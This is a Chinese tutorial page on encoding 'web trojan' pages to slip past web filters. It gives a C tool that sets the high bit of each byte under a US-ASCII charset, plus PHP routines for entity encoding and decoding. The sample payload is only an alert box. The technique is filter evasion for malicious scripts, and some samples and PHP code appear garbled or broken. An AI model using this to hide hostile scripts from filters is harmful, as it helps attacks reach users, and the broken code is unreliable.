好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

网页木马US-ASCII码,unicode码的加密解密 - Windows操作

US-ASCII加密,就是把7bit转换为8bit

原始的代码

程序代码: 程序代码 <html> <title>sprites Blog</title> <script>alert(Hello World)</script> <body> <a href=" http://www.spr1t3.com http://www.spr1t3.com">http://www.spr1t3.com</a > </body> </html> 加密后的代码

程序代码: 程序代码 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" /> <title>IE</title> </head><body> 艰繇炀娂糸綮寰箴蜷翦鬆蚂镧集糸綮寰娂筱蜷痿踞戾螋ě儒祆餇罪蜢洄┘筱蜷痿緺娂怙澌緤坚犺蝈娼㈣趑鸷鼢鳟箴虮舫泔恝捐趑鸷鼢鳟箴虮舫泔砑峋娂怙澌緤集梏盱? </body></html> 加密解密程序

程序代码: 程序代码 #include <stdio.h> int main(int argc,char** argv) { FILE *fp; char ch; printf(" -- Bypassing of web filters by using ASCII Exploit By CoolDiyer -- "); if(argc<2){ printf(" Usage: %s srcfile >destfile ",argv[0]); return -1; } if((fp=fopen(argv[1],"r"))==NULL){ printf("File %s open Error",argv[1]); return -1; }//指定编码为US-ASCII是必须的 printf(" <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" /> <title>Bypassing of web filters by using ASCII Exploit By CoolDiyer</title> </head><body> "); while((ch=fgetc(fp))!=EOF){ ch|=0x80; //把7位变成8位,这句话是核心,解密时用 ch&=0x7f printf("%c",ch); }; fclose(fp); printf(" </body></html> "); return -1; } 解密只要把每个字节的高位置0即可。还有一个更简单的方法,网页“另存为”保存的时候,在语言选项将“西欧(windows)”改成“简体GB2312”,然后保存在本地。

unicode编码前

程序代码: 程序代码 <html> <title>7jdgs Blog</title> <script>alert(Hello World)</script> <body> <a href=" http://1v1.name http://1v1.name">http://1v1.name</a > </body> </html> unicode编码以后的形式

程序代码: 程序代码 <html> <title>7jdgs Blog</title> <script>alert(Hello World)</script> <body> <a href=" http://1v1.name http://1v1.name">http://1v1.name</a > </body> </html> 加密 程序

程序代码: 程序代码 <? $text = " http://1v1.name "; preg_match_all("/[x80-xff]?./",$text,$ar); foreach($ar[0] as $v) echo "&#".utf8_unicode(iconv("GB2312","UTF-8",$v)).";"; ?> <? // utf8 -> unicode function utf8_unicode($c) { switch(strlen($c)) { case 1: return ord($c); case 2: $n = (ord($c[0]) & 0x3f) << 6; $n += ord($c[1]) & 0x3f; return $n; case 3: $n = (ord($c[0]) & 0x1f) << 12; $n += (ord($c[1]) & 0x3f) << 6; $n += ord($c[2]) & 0x3f; return $n; case 4: $n = (ord($c[0]) & 0x0f) << 18; $n += (ord($c[1]) & 0x3f) << 12; $n += (ord($c[2]) & 0x3f) << 6; $n += ord($c[3]) & 0x3f; return $n; } } ?> 这样的unicode编码,也可以通过另存为解密

或者是

程序代码: 程序代码 <?php $str = " http://1v1.name "; $str = preg_replace("|&#([0-9]{1,5});|", "".u2utf82gb( \1). "", $str); $str = "$str="$str";";

eval($str); echo $str;

function u2utf82gb($c){ $str=""; if ($c < 0x80) { $str.=$c; } else if ($c < 0x800) { $str.=chr(0xC0 | $c>>6); $str.=chr(0x80 | $c & 0x3F); } else if ($c < 0x10000) { $str.=chr(0xE0 | $c>>12); $str.=chr(0x80 | $c>>6 & 0x3F); $str.=chr(0x80 | $c & 0x3F); } else if ($c < 0x200000) { $str.=chr(0xF0 | $c>>18); $str.=chr(0x80 | $c>>12 & 0x3F); $str.=chr(0x80 | $c>>6 & 0x3F); $str.=chr(0x80 | $c & 0x3F); } return iconv(UTF-8, GB2312, $str); } ?>

查看更多关于网页木马US-ASCII码,unicode码的加密解密 - Windows操作的详细内容...

  阅读:50次